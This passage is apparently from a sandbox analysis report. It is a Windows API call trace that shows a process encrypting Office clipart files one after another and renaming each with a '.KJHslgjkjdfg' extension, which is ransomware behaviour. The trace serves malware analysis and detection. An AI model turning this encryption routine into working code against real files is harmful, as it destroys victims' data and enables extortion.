(in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xc8c9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099201.GIF", cAlternateFileName="")) returned 1 [0198.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.227] GetProcessHeap () returned 0x2ef0000 [0198.227] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.227] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.227] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.227] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x7, lpOverlapped=0x0) returned 1 [0198.238] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.238] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.239] GetProcessHeap () returned 0x2ef0000 [0198.239] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.239] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.239] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.239] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.239] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.239] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.239] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.239] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.239] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.239] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.239] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.239] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.239] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xc8c9, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xc8c9, lpOverlapped=0x0) returned 1 [0198.241] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xc8d0, dwBufLen=0xc8d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xc8d0) returned 1 [0198.241] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.241] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xc8d0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xc8d0, lpOverlapped=0x0) returned 1 [0198.241] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.241] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xc9a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.242] SetEndOfFile (hFile=0x130) returned 1 [0198.244] GetProcessHeap () returned 0x2ef0000 [0198.244] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.244] GetProcessHeap () returned 0x2ef0000 [0198.244] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.244] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif.kjhslgjkjdfg")) returned 1 [0198.245] CloseHandle (hObject=0x130) returned 1 [0198.245] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1367, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099202.GIF", cAlternateFileName="")) returned 1 [0198.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.246] GetProcessHeap () returned 0x2ef0000 [0198.246] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.246] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.246] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.246] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x9, lpOverlapped=0x0) returned 1 [0198.248] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.248] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.248] GetProcessHeap () returned 0x2ef0000 [0198.248] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.248] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.248] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.248] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.248] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.249] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.249] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.249] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.249] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.249] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.249] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.249] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.249] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1367, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1367, lpOverlapped=0x0) returned 1 [0198.250] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1370, dwBufLen=0x1370 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1370) returned 1 [0198.250] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.250] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1370, lpOverlapped=0x0) returned 1 [0198.250] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.250] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1444, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.250] SetEndOfFile (hFile=0x130) returned 1 [0198.253] GetProcessHeap () returned 0x2ef0000 [0198.253] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.253] GetProcessHeap () returned 0x2ef0000 [0198.253] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.253] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif.kjhslgjkjdfg")) returned 1 [0198.254] CloseHandle (hObject=0x130) returned 1 [0198.254] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xf40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099203.GIF", cAlternateFileName="")) returned 1 [0198.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.254] GetProcessHeap () returned 0x2ef0000 [0198.254] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.254] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.254] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.254] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.255] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.255] GetProcessHeap () returned 0x2ef0000 [0198.255] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.255] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.255] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.255] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.256] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.257] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.257] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.257] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.257] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.257] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.257] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.257] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.257] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xf40, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xf40, lpOverlapped=0x0) returned 1 [0198.257] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xf40, dwBufLen=0xf40 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xf40) returned 1 [0198.257] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.257] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xf40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xf40, lpOverlapped=0x0) returned 1 [0198.258] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.258] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1014, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.258] SetEndOfFile (hFile=0x130) returned 1 [0198.260] GetProcessHeap () returned 0x2ef0000 [0198.260] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.260] GetProcessHeap () returned 0x2ef0000 [0198.260] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.260] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif.kjhslgjkjdfg")) returned 1 [0198.261] CloseHandle (hObject=0x130) returned 1 [0198.262] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65df6970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x45be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099204.WMF", cAlternateFileName="")) returned 1 [0198.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.263] GetProcessHeap () returned 0x2ef0000 [0198.263] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.263] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.263] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.263] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0198.265] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.265] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.265] GetProcessHeap () returned 0x2ef0000 [0198.265] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.265] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.266] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.266] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.266] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.266] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.266] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.266] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.266] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.266] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.266] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.266] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.266] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x45be, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x45be, lpOverlapped=0x0) returned 1 [0198.268] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x45c0, dwBufLen=0x45c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x45c0) returned 1 [0198.268] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.268] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x45c0, lpOverlapped=0x0) returned 1 [0198.268] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.268] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4694, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.268] SetEndOfFile (hFile=0x130) returned 1 [0198.271] GetProcessHeap () returned 0x2ef0000 [0198.271] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.271] GetProcessHeap () returned 0x2ef0000 [0198.271] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.271] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf.kjhslgjkjdfg")) returned 1 [0198.272] CloseHandle (hObject=0x130) returned 1 [0198.272] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x45be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099205.WMF", cAlternateFileName="")) returned 1 [0198.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.272] GetProcessHeap () returned 0x2ef0000 [0198.272] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.272] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.272] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.273] WriteFile 